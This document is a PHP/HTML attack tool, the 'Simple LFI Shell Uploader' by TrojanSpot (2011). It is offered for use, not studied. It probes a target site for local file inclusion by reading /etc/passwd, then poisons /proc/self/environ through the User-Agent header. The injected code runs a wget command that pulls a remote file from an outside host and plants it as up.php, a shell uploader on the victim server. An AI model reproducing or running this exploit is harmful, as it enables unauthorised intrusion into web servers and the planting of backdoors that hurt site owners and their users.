Simple LFI Shell Uploader | www.pemula.info

<html>
<head><title>Simple LFI Shell Uploader</title>
<style type="text/css">
body {
background-color: #000000;
font-family:"Courier New";
color: silver;
font-size:11px;
}
input {
background-color: #000000;
font-family:"Courier New";
color: silver;
font-size:11px;
border:1px solid;
border-color:silver;
}
</style>
</head>
<body><h3>Simple LFI Sh3ll Uploader</h3>
<form method="post" action="">
LFI URL: <input type="text" size="60" name="lfiurl" value="">
<input type="submit" value="j00$ !!!">
</form>
<?php
if($_POST['lfiurl']) {
print "<pre>";
$target = $_POST['lfiurl'];
$testlfi = "../../../../../../../../../../../../../../../etc/passwd%00";
$readenv = "../../../../../../../../../../../../../../../proc/self/environ%00";
$mbooh = preg_split("/.php/", $target);
$pecah = preg_split("/\//", $mbooh[0]);
$path = "/";
$azz = count($pecah) - 1;
for($g = 3; $g<$azz;$g++) {
$path.= $pecah[$g]."/";
}
$bug = $pecah[$azz].".php".$mbooh[1];
$host = $pecah[2];
print "[+] Testing LFI ... ";
flush();
$res = FetchURL($target.$testlfi);
if(preg_match("/root:x:0:0/", $res)) {
print "<font color='green'>Ok</font><br>[+] Reading /proc/self/environ ... ";
flush();
$rez = FetchURL($target.$readenv);
if(preg_match("/DOCUMENT_ROOT=/", $rez)) {
print "<font color='green'>Ok</font><br>[+] Exploiting target ... <br>";
flush();
$cmd = "<?php system('wget htt://www.neelsoftech.com/up.txt -O up.php');?>";
$soket = fsockopen($host, 80);
$req = "GET ".$path.$bug.$readenv." HTTP/1.0\r\nHost: ".$host."\r\nAccept: */*\r\nUser-Agent: ".$cmd."\r\n\r\n";
fputs($soket, $req);
fclose($soket);
flush();
$cek = FetchURL("http://".$host.$path."up.php");
if(preg_match("/trojanspot Was Here/", $cek)) {
print "[+] Exploit successful!<br>[+] Shell uploader to <font color='green'>http://".$host.$path."up.php</font>";
} else {
print "<font color='red'>[!] Exploit failed!</font><br>";
}
}
else {
print "<font color='red'>Failed</font><br>";
}
} else {
print "<font color='red'>Failed</font><br>";
}
}
function FetchURL($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/3.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.20 (.NET CLR 3.5.30729)");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
$data = curl_exec($ch);
if(!$data) {
return false;
}
return $data;
}
?>
<br>
Copyleft &copy; 2011 by TrojanSpot!! [Atjeh Cyber Team'S]
</body>
</html>